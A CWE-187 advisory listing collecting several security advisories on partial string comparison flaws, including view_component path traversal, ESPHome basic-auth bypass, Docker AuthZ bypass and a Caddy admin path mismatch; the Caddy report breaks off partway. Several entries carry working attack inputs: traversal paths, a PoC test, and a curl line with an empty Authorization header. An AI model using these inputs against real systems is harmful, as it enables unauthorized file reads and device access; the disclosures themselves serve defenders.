CWE-187
AllowedPartial String Comparison
Abstraction: Variant · Status: Incomplete
The product performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses.
28 vulnerabilities reference this CWE, most recent first.
GHSA-HG3H-G7XC-F7VP
Vulnerability from github – Published: 2026-05-08 23:33 – Updated: 2026-06-08 23:34Summary
The system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.
Severity: Medium; test-route scoped.
Example:
Allowed base: /app/tmp/view_components
Outside path: /app/tmp/view_components_evil/secret.html.erb
The outside path is not inside the base directory, but it passes:
@path.start_with?(base_path)
Relevant Code
app/controllers/view_components_system_test_controller.rb:
base_path = ::File.realpath(self.class.temp_dir)
@path = ::File.realpath(params.permit(:file)[:file], base_path)
raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)
The route then renders the resolved file:
render file: @path
Exploit Flow
Example request:
GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb
Flow:
base_pathresolves to.../tmp/view_components.- The payload resolves to
.../tmp/view_components_evil/secret.html.erb. - That path is outside the intended temp directory.
- The string prefix check still passes.
- Rails renders the sibling file.
The route is mounted only in Rails.env.test?, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.
Targeted Fuzz Result
The following sibling paths passed an equivalent realpath plus start_with? harness while resolving outside the base directory:
../view_components_evil/secret.html
../view_components2/poc.html
../view_components.bak/poc.html
../view_components-old/poc.html
../view_componentsx/poc.html
PoC Test
Create test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb:
# frozen_string_literal: true
require "test_helper"
require "fileutils"
class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest
def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix
base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)
parent_dir = File.dirname(base_dir)
sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil")
outside_file = File.join(sibling_dir, "secret.html.erb")
FileUtils.mkdir_p(sibling_dir)
File.write(outside_file, "<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>")
get "/_system_test_entrypoint", params: {
file: "../#{File.basename(base_dir)}_evil/secret.html.erb"
}
assert_response :success
assert_includes response.body, "VC_SYSTEM_TEST_TRAVERSAL_POC"
ensure
FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file
Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir)
end
end
Run:
bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb
Vulnerable behavior: the response succeeds and contains VC_SYSTEM_TEST_TRAVERSAL_POC.
Fixed behavior: the request raises ViewComponent::SystemTestControllerNefariousPathError or otherwise fails without rendering the file.
Suggested Fix
Use path-aware containment instead of a raw string prefix. For example:
def validate_file_path
base_path = Pathname.new(::File.realpath(self.class.temp_dir))
path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))
relative_path = path.relative_path_from(base_path)
raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == ".."
@path = path.to_s
end
Or require a separator boundary:
allowed_prefix = "#{base_path}#{File::SEPARATOR}"
unless @path == base_path || @path.start_with?(allowed_prefix)
raise ViewComponent::SystemTestControllerNefariousPathError
end
Add regression tests for:
- A normal temp file inside
tmp/view_components ../../README.md../view_components_evil/secret.html.erb- A symlink inside the temp directory that resolves outside it
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "view_component"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "4.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44837"
],
"database_specific": {
"cwe_ids": [
"CWE-187",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T23:33:58Z",
"nvd_published_at": "2026-05-26T21:16:38Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe system test entrypoint canonicalizes a user-controlled file path with `File.realpath`, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.\n\nSeverity: Medium; test-route scoped.\n\nExample:\n\n```text\nAllowed base: /app/tmp/view_components\nOutside path: /app/tmp/view_components_evil/secret.html.erb\n```\n\nThe outside path is not inside the base directory, but it passes:\n\n```ruby\n@path.start_with?(base_path)\n```\n\n### Relevant Code\n\n`app/controllers/view_components_system_test_controller.rb`:\n\n```ruby\nbase_path = ::File.realpath(self.class.temp_dir)\n@path = ::File.realpath(params.permit(:file)[:file], base_path)\nraise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)\n```\n\nThe route then renders the resolved file:\n\n```ruby\nrender file: @path\n```\n\n### Exploit Flow\n\nExample request:\n\n```text\nGET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb\n```\n\nFlow:\n\n1. `base_path` resolves to `.../tmp/view_components`.\n2. The payload resolves to `.../tmp/view_components_evil/secret.html.erb`.\n3. That path is outside the intended temp directory.\n4. The string prefix check still passes.\n5. Rails renders the sibling file.\n\nThe route is mounted only in `Rails.env.test?`, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.\n\n### Targeted Fuzz Result\n\nThe following sibling paths passed an equivalent `realpath` plus `start_with?` harness while resolving outside the base directory:\n\n```text\n../view_components_evil/secret.html\n../view_components2/poc.html\n../view_components.bak/poc.html\n../view_components-old/poc.html\n../view_componentsx/poc.html\n```\n\n### PoC Test\n\nCreate `test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb`:\n\n```ruby\n# frozen_string_literal: true\n\nrequire \"test_helper\"\nrequire \"fileutils\"\n\nclass SystemTestEntrypointPathTraversalPocTest \u003c ActionDispatch::IntegrationTest\n def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix\n base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)\n parent_dir = File.dirname(base_dir)\n sibling_dir = File.join(parent_dir, \"#{File.basename(base_dir)}_evil\")\n outside_file = File.join(sibling_dir, \"secret.html.erb\")\n\n FileUtils.mkdir_p(sibling_dir)\n File.write(outside_file, \"\u003cdiv\u003eVC_SYSTEM_TEST_TRAVERSAL_POC\u003c/div\u003e\")\n\n get \"/_system_test_entrypoint\", params: {\n file: \"../#{File.basename(base_dir)}_evil/secret.html.erb\"\n }\n\n assert_response :success\n assert_includes response.body, \"VC_SYSTEM_TEST_TRAVERSAL_POC\"\n ensure\n FileUtils.rm_f(outside_file) if defined?(outside_file) \u0026\u0026 outside_file\n Dir.rmdir(sibling_dir) if defined?(sibling_dir) \u0026\u0026 sibling_dir \u0026\u0026 Dir.exist?(sibling_dir)\n end\nend\n```\n\nRun:\n\n```bash\nbundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb\n```\n\nVulnerable behavior: the response succeeds and contains `VC_SYSTEM_TEST_TRAVERSAL_POC`.\n\nFixed behavior: the request raises `ViewComponent::SystemTestControllerNefariousPathError` or otherwise fails without rendering the file.\n\n### Suggested Fix\n\nUse path-aware containment instead of a raw string prefix. For example:\n\n```ruby\ndef validate_file_path\n base_path = Pathname.new(::File.realpath(self.class.temp_dir))\n path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))\n relative_path = path.relative_path_from(base_path)\n\n raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == \"..\"\n\n @path = path.to_s\nend\n```\n\nOr require a separator boundary:\n\n```ruby\nallowed_prefix = \"#{base_path}#{File::SEPARATOR}\"\nunless @path == base_path || @path.start_with?(allowed_prefix)\n raise ViewComponent::SystemTestControllerNefariousPathError\nend\n```\n\nAdd regression tests for:\n\n- A normal temp file inside `tmp/view_components`\n- `../../README.md`\n- `../view_components_evil/secret.html.erb`\n- A symlink inside the temp directory that resolves outside it",
"id": "GHSA-hg3h-g7xc-f7vp",
"modified": "2026-06-08T23:34:32Z",
"published": "2026-05-08T23:33:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ViewComponent/view_component/security/advisories/GHSA-hg3h-g7xc-f7vp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44837"
},
{
"type": "PACKAGE",
"url": "https://github.com/ViewComponent/view_component"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/view_component/CVE-2026-44837.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "view_component: System Test Entry Point Path Check Allows Sibling Directory Escape"
}
GHSA-JP8V-M2CX-Q392
Vulnerability from github – Published: 2022-06-25 00:01 – Updated: 2022-06-25 00:01In CODESYS Gateway Server V2 for versions prior to V2.3.9.38 only a part of the the specified password is been compared to the real CODESYS Gateway password. An attacker may perform authentication by specifying a small password that matches the corresponding part of the longer real CODESYS Gateway password.
{
"affected": [],
"aliases": [
"CVE-2022-31802"
],
"database_specific": {
"cwe_ids": [
"CWE-187"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-24T08:15:00Z",
"severity": "CRITICAL"
},
"details": "In CODESYS Gateway Server V2 for versions prior to V2.3.9.38 only a part of the the specified password is been compared to the real CODESYS Gateway password. An attacker may perform authentication by specifying a small password that matches the corresponding part of the longer real CODESYS Gateway password.",
"id": "GHSA-jp8v-m2cx-q392",
"modified": "2022-06-25T00:01:01Z",
"published": "2022-06-25T00:01:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31802"
},
{
"type": "WEB",
"url": "https://customers.codesys.com/index.php?eID=dumpFile\u0026t=f\u0026f=17141\u0026token=17867e35cfd30c77ba0137f9a17b3a557a4b7b66\u0026download="
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MXH2-CCGJ-8635
Vulnerability from github – Published: 2025-09-02 16:46 – Updated: 2025-09-02 16:46Summary
On the ESP-IDF platform, ESPHome's web_server authentication check can pass incorrectly when the client-supplied base64-encoded Authorization value is empty or is a substring of the correct value (e.g., correct username with partial password). This allows access to web_server functionality (including OTA, if enabled) without knowing any information about the correct username or password.
Details
The HTTP basic auth check in web_server_idf's AsyncWebServerRequest::authenticate only compares up to auth.value().size() - auth_prefix_len bytes of the base64-encoded user:pass string. This means a client-provided valuer like dXNlcjpz (user:s) will pass the check when the correct value is much longer, e.g., dXNlcjpzb21lcmVhbGx5bG9uZ3Bhc3M= (user:somereallylongpass).
Furthermore, the check will also pass when the supplied value is the empty string, which removes the need to know (or brute force) the username. A browser won't generally issue such a request, but it can easily be done by manually constructing the Authorizaztion request header (e.g., via curl).
PoC
Configure ESPHome as follows:
esp32:
board: ...
framework:
type: esp-idf
web_server:
auth:
username: user
password: somereallylongpass
In a browser, you can correctly log in by supplying username user and password somereallylongpass... but you can also incorrectly log in by supplying substrings of the password whose base64-encoded digest matches a prefix of the correct digest. (For example, I was able to log into an ESPHome device so configured by supplying password some... or even just s.)
You can also use a tool like curl to manually set an Authorization request header that always passes the check without any knowledge of the username:
$ curl -D- http://example.local/
HTTP/1.1 401 Unauthorized
...
$ curl -D- -H 'Authorization: Basic ' http://example.local/
HTTP/1.1 200 OK
...
Impact
This vulnerability effectively nullifies basic auth support for the ESP-IDF web_server, allowing auth bypass from another device on the local network with no knowledge of the correct username or password required.
Remediation
This vulnerability is fixed in 2025.8.1 and later.
For older versions, disabling the web_server component on ESP-IDF devices may be prudent, particularly if OTA updates through web_server are enabled.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2025.8.0"
},
"package": {
"ecosystem": "PyPI",
"name": "esphome"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2025.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-57808"
],
"database_specific": {
"cwe_ids": [
"CWE-187",
"CWE-303"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-02T16:46:58Z",
"nvd_published_at": "2025-09-02T01:15:29Z",
"severity": "HIGH"
},
"details": "### Summary\nOn the ESP-IDF platform, ESPHome\u0027s [`web_server` authentication](https://esphome.io/components/web_server.html#configuration-variables) check can pass incorrectly when the client-supplied base64-encoded `Authorization` value is empty or is a substring of the correct value (e.g., correct username with partial password). This allows access to `web_server` functionality (including OTA, if enabled) without knowing any information about the correct username or password.\n\n### Details\nThe HTTP basic auth check in `web_server_idf`\u0027s [`AsyncWebServerRequest::authenticate`](https://github.com/esphome/esphome/blob/ef2121a215890d46dc1d25ad363611ecadc9e25e/esphome/components/web_server_idf/web_server_idf.cpp#L256) only compares up to `auth.value().size() - auth_prefix_len` bytes of the base64-encoded `user:pass` string. This means a client-provided valuer like `dXNlcjpz` (`user:s`) will pass the check when the correct value is much longer, e.g., `dXNlcjpzb21lcmVhbGx5bG9uZ3Bhc3M=` (`user:somereallylongpass`).\n\nFurthermore, the check will also pass when the supplied value is the empty string, which removes the need to know (or brute force) the username. A browser won\u0027t generally issue such a request, but it can easily be done by manually constructing the `Authorizaztion` request header (e.g., via `curl`).\n\n### PoC\nConfigure ESPHome as follows:\n\n```yaml\nesp32:\n board: ...\n framework:\n type: esp-idf\nweb_server:\n auth:\n username: user\n password: somereallylongpass\n```\n\nIn a browser, you can correctly log in by supplying username `user` and password `somereallylongpass`... but you can _also_ incorrectly log in by supplying _substrings_ of the password whose base64-encoded digest matches a _prefix_ of the correct digest. (For example, I was able to log into an ESPHome device so configured by supplying password `some`... or even just `s`.)\n\nYou can also use a tool like `curl` to manually set an `Authorization` request header that _always_ passes the check without any knowledge of the username:\n\n```\n$ curl -D- http://example.local/\nHTTP/1.1 401 Unauthorized\n...\n\n$ curl -D- -H \u0027Authorization: Basic \u0027 http://example.local/\nHTTP/1.1 200 OK\n...\n```\n\n### Impact\nThis vulnerability effectively nullifies basic auth support for the ESP-IDF `web_server`, allowing auth bypass from another device on the local network with no knowledge of the correct username or password required.\n\n### Remediation\nThis vulnerability is fixed in 2025.8.1 and later.\n\nFor older versions, disabling the `web_server` component on ESP-IDF devices may be prudent, particularly if OTA updates through `web_server` are enabled.",
"id": "GHSA-mxh2-ccgj-8635",
"modified": "2025-09-02T16:46:58Z",
"published": "2025-09-02T16:46:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/esphome/esphome/security/advisories/GHSA-mxh2-ccgj-8635"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57808"
},
{
"type": "WEB",
"url": "https://github.com/esphome/esphome/commit/2aceb56606ec8afec5f49c92e140c8050a6ccbe5"
},
{
"type": "PACKAGE",
"url": "https://github.com/esphome/esphome"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "ESP-IDF web_server basic auth bypass using empty or incomplete Authorization header"
}
GHSA-R648-F5MP-M4X9
Vulnerability from github – Published: 2026-08-11 18:31 – Updated: 2026-08-11 18:31Partial string comparison in Windows HTTP Protocol Stack allows an unauthorized attacker to perform tampering over an adjacent network.
{
"affected": [],
"aliases": [
"CVE-2026-62750"
],
"database_specific": {
"cwe_ids": [
"CWE-187"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-11T17:18:27Z",
"severity": "MODERATE"
},
"details": "Partial string comparison in Windows HTTP Protocol Stack allows an unauthorized attacker to perform tampering over an adjacent network.",
"id": "GHSA-r648-f5mp-m4x9",
"modified": "2026-08-11T18:31:19Z",
"published": "2026-08-11T18:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62750"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-62750"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V23V-6JW2-98FQ
Vulnerability from github – Published: 2024-07-30 10:18 – Updated: 2024-08-09 19:07A security vulnerability has been detected in certain versions of Docker Engine, which could allow an attacker to bypass authorization plugins (AuthZ) under specific circumstances. The base likelihood of this being exploited is low. This advisory outlines the issue, identifies the affected versions, and provides remediation steps for impacted users.
Impact
Using a specially-crafted API request, an Engine API client could make the daemon forward the request or response to an authorization plugin without the body. In certain circumstances, the authorization plugin may allow a request which it would have otherwise denied if the body had been forwarded to it.
A security issue was discovered In 2018, where an attacker could bypass AuthZ plugins using a specially crafted API request. This could lead to unauthorized actions, including privilege escalation. Although this issue was fixed in Docker Engine v18.09.1 in January 2019, the fix was not carried forward to later major versions, resulting in a regression. Anyone who depends on authorization plugins that introspect the request and/or response body to make access control decisions is potentially impacted.
Docker EE v19.03.x and all versions of Mirantis Container Runtime are not vulnerable.
Vulnerability details
- AuthZ bypass and privilege escalation: An attacker could exploit a bypass using an API request with Content-Length set to 0, causing the Docker daemon to forward the request without the body to the AuthZ plugin, which might approve the request incorrectly.
- Initial fix: The issue was fixed in Docker Engine v18.09.1 January 2019..
- Regression: The fix was not included in Docker Engine v19.03 or newer versions. This was identified in April 2024 and patches were released for the affected versions on July 23, 2024. The issue was assigned CVE-2024-41110.
Patches
- docker-ce v27.1.1 containes patches to fix the vulnerability.
- Patches have also been merged into the master, 19.0, 20.0, 23.0, 24.0, 25.0, 26.0, and 26.1 release branches.
Remediation steps
- If you are running an affected version, update to the most recent patched version.
- Mitigation if unable to update immediately:
- Avoid using AuthZ plugins.
- Restrict access to the Docker API to trusted parties, following the principle of least privilege.
References
- https://github.com/moby/moby/commit/fc274cd2ff4cf3b48c91697fb327dd1fb95588fb
- https://github.com/moby/moby/commit/a79fabbfe84117696a19671f4aa88b82d0f64fc1
- https://www.docker.com/blog/docker-security-advisory-docker-engine-authz-plugin/
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/docker/docker"
},
"ranges": [
{
"events": [
{
"introduced": "19.03.0"
},
{
"fixed": "23.0.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/docker/docker"
},
"ranges": [
{
"events": [
{
"introduced": "26.0.0"
},
{
"fixed": "26.1.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/docker/docker"
},
"ranges": [
{
"events": [
{
"introduced": "27.0.0"
},
{
"fixed": "27.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/docker/docker"
},
"ranges": [
{
"events": [
{
"introduced": "24.0.0"
},
{
"fixed": "25.0.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-41110"
],
"database_specific": {
"cwe_ids": [
"CWE-187"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-30T10:18:57Z",
"nvd_published_at": "2024-07-24T17:15:11Z",
"severity": "CRITICAL"
},
"details": "A security vulnerability has been detected in certain versions of Docker Engine, which could allow an attacker to bypass [authorization plugins (AuthZ)](https://docs.docker.com/engine/extend/plugins_authorization/) under specific circumstances. The base likelihood of this being exploited is low. This advisory outlines the issue, identifies the affected versions, and provides remediation steps for impacted users.\n\n### Impact\n\nUsing a specially-crafted API request, an Engine API client could make the daemon forward the request or response to an [authorization plugin](https://docs.docker.com/engine/extend/plugins_authorization/) without the body. In certain circumstances, the authorization plugin may allow a request which it would have otherwise denied if the body had been forwarded to it.\n\n\nA security issue was discovered In 2018, where an attacker could bypass AuthZ plugins using a specially crafted API request. This could lead to unauthorized actions, including privilege escalation. Although this issue was fixed in Docker Engine [v18.09.1](https://docs.docker.com/engine/release-notes/18.09/#security-fixes-1) in January 2019, the fix was not carried forward to later major versions, resulting in a regression. Anyone who depends on authorization plugins that introspect the request and/or response body to make access control decisions is potentially impacted.\n\nDocker EE v19.03.x and all versions of Mirantis Container Runtime **are not vulnerable.**\n\n### Vulnerability details\n\n- **AuthZ bypass and privilege escalation:** An attacker could exploit a bypass using an API request with Content-Length set to 0, causing the Docker daemon to forward the request without the body to the AuthZ plugin, which might approve the request incorrectly.\n- **Initial fix:** The issue was fixed in Docker Engine [v18.09.1](https://docs.docker.com/engine/release-notes/18.09/#security-fixes-1) January 2019..\n- **Regression:** The fix was not included in Docker Engine v19.03 or newer versions. This was identified in April 2024 and patches were released for the affected versions on July 23, 2024. The issue was assigned [CVE-2024-41110](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41110).\n\n### Patches\n\n- docker-ce v27.1.1 containes patches to fix the vulnerability.\n- Patches have also been merged into the master, 19.0, 20.0, 23.0, 24.0, 25.0, 26.0, and 26.1 release branches.\n\n### Remediation steps\n\n- If you are running an affected version, update to the most recent patched version.\n- Mitigation if unable to update immediately:\n - Avoid using AuthZ plugins.\n - Restrict access to the Docker API to trusted parties, following the principle of least privilege.\n\n\n### References\n\n- https://github.com/moby/moby/commit/fc274cd2ff4cf3b48c91697fb327dd1fb95588fb\n- https://github.com/moby/moby/commit/a79fabbfe84117696a19671f4aa88b82d0f64fc1\n- https://www.docker.com/blog/docker-security-advisory-docker-engine-authz-plugin/",
"id": "GHSA-v23v-6jw2-98fq",
"modified": "2024-08-09T19:07:47Z",
"published": "2024-07-30T10:18:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/moby/moby/security/advisories/GHSA-v23v-6jw2-98fq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41110"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/commit/411e817ddf710ff8e08fa193da80cb78af708191"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/commit/42f40b1d6dd7562342f832b9cd2adf9e668eeb76"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/commit/65cc597cea28cdc25bea3b8a86384b4251872919"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/commit/852759a7df454cbf88db4e954c919becd48faa9b"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/commit/a31260625655cff9ae226b51757915e275e304b0"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/commit/a79fabbfe84117696a19671f4aa88b82d0f64fc1"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/commit/ae160b4edddb72ef4bd71f66b975a1a1cc434f00"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/commit/ae2b3666c517c96cbc2adf1af5591a6b00d4ec0f"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/commit/cc13f952511154a2866bddbb7dddebfe9e83b801"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/commit/fc274cd2ff4cf3b48c91697fb327dd1fb95588fb"
},
{
"type": "PACKAGE",
"url": "https://github.com/moby/moby"
},
{
"type": "WEB",
"url": "https://www.docker.com/blog/docker-security-advisory-docker-engine-authz-plugin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Authz zero length regression"
}
GHSA-V6HV-2P8R-43V4
Vulnerability from github – Published: 2026-07-05 03:32 – Updated: 2026-07-05 03:32A vulnerability was determined in 666ghj BettaFish up to 1.2.1. Impacted is the function _deduplicate_results of the file InsightEngine/agent.py of the component InsightEngine search-result Deduplication. Executing a manipulation can lead to partial string comparison. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. The pull request to fix this issue awaits acceptance.
{
"affected": [],
"aliases": [
"CVE-2026-14687"
],
"database_specific": {
"cwe_ids": [
"CWE-187"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-05T01:21:57Z",
"severity": "MODERATE"
},
"details": "A vulnerability was determined in 666ghj BettaFish up to 1.2.1. Impacted is the function _deduplicate_results of the file InsightEngine/agent.py of the component InsightEngine search-result Deduplication. Executing a manipulation can lead to partial string comparison. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. The pull request to fix this issue awaits acceptance.",
"id": "GHSA-v6hv-2p8r-43v4",
"modified": "2026-07-05T03:32:33Z",
"published": "2026-07-05T03:32:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14687"
},
{
"type": "WEB",
"url": "https://github.com/666ghj/BettaFish/issues/688"
},
{
"type": "WEB",
"url": "https://github.com/666ghj/BettaFish/pull/689"
},
{
"type": "WEB",
"url": "https://github.com/666ghj/BettaFish"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-14687"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/846753"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/376283"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/376283/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VPJF-PG9H-VM9F
Vulnerability from github – Published: 2024-07-08 15:31 – Updated: 2024-07-08 15:31IBM MQ Operator 3.2.2 and IBM MQ Operator 2.0.24 could allow a user to bypass authentication under certain configurations due to a partial string comparison vulnerability. IBM X-Force ID: 297169.
{
"affected": [],
"aliases": [
"CVE-2024-39742"
],
"database_specific": {
"cwe_ids": [
"CWE-187",
"CWE-697"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-08T14:15:02Z",
"severity": "HIGH"
},
"details": "IBM MQ Operator 3.2.2 and IBM MQ Operator 2.0.24 could allow a user to bypass authentication under certain configurations due to a partial string comparison vulnerability. IBM X-Force ID: 297169.",
"id": "GHSA-vpjf-pg9h-vm9f",
"modified": "2024-07-08T15:31:56Z",
"published": "2024-07-08T15:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39742"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/297169"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7159714"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X5W9-XH9R-MVFC
Vulnerability from github – Published: 2026-05-19 15:51 – Updated: 2026-07-20 13:43This report is not about a normal textual prefix-expansion case.
The issue here is that the authorization layer and the /config traversal layer do not agree on what object the path refers to.
In this case, a path authorized for one config object is accepted, but then resolves to a different config object during traversal.
## AI Disclosure
The reporter used an LLM to help review the code, reason about the behavior, and help draft this report. The reporter manually reproduced and validated the issue locally, confirmed the relevant source paths, and captured the requests and responses below.
## Summary
A remote admin client certificate restricted to the following path:
```text /config/apps/http/servers/srv/routes/0
can still read and modify a different array element by requesting:
/config/apps/http/servers/srv/routes/01
This happens because:
- the authorization layer uses string prefix matching
- the /config traversal layer parses array indices numerically using strconv.Atoi()
So:
- authorization sees /.../01 as matching /.../0
- traversal resolves 01 to numeric index 1
- the request therefore targets routes[1], not routes[0]
This is not just a prefix-match quirk. It is an authorization-to-object mismatch.
## Why This Is In Scope
This is a security bug in Caddy's own code:
- no browser behavior is involved
- no dependency bug is involved
- no external system compromise is involved
- no third-party software compromise is required
- no unsafe content hosting or file upload is required
This is also not just “an unsafe configuration”.
The configuration explicitly attempts to limit access to one specific path:
/config/apps/http/servers/srv/routes/0
But Caddy enforces a policy that ends up granting access to a different object (routes[1]) because of how traversal interprets the final path component.
In short:
- configured authorization target: routes[0]
- actual accessed object: routes[1]
That difference is caused by Caddy itself.
## Relevant Source Code
Authorization path matching:
- admin.go:719
Authorization config comment:
- admin.go:213
Config traversal with numeric parsing:
- admin.go:1201
- admin.go:1310
## Root Cause
### Authorization layer
for _, allowedPath := range accessPerm.Paths { if strings.HasPrefix(r.URL.Path, allowedPath) { pathFound = true break } }
### Traversal layer
idx, err = strconv.Atoi(idxStr)
and later:
partInt, err := strconv.Atoi(part)
Because of that:
- allowed path: /config/.../routes/0
- requested path: /config/.../routes/01
- authorization decision: allowed
- actual object selected: routes[1]
## Why This Is Not Just a “Prefix” Case
For a normal path hierarchy, a “subpath” means a child resource of the same authorized object.
For example:
- /config/apps/http
- /config/apps/http/servers
- /config/apps/http/servers/srv/routes/0/handle
Those are genuine deeper descendants.
But this case is different.
Within the /config API, the final path component after /routes/ is not just a text fragment. It is a semantic selector for an array index.
So:
- /routes/0 means routes[0]
- /routes/01 means routes[1]
- /routes/02 means routes[2]
That means /routes/01 is not a child of routes[0] in object semantics.
It is a different array element entirely.
So even if prefix matching is documented, this case is different because:
- authorization uses the textual form
- traversal uses the numeric form
- the two refer to different objects
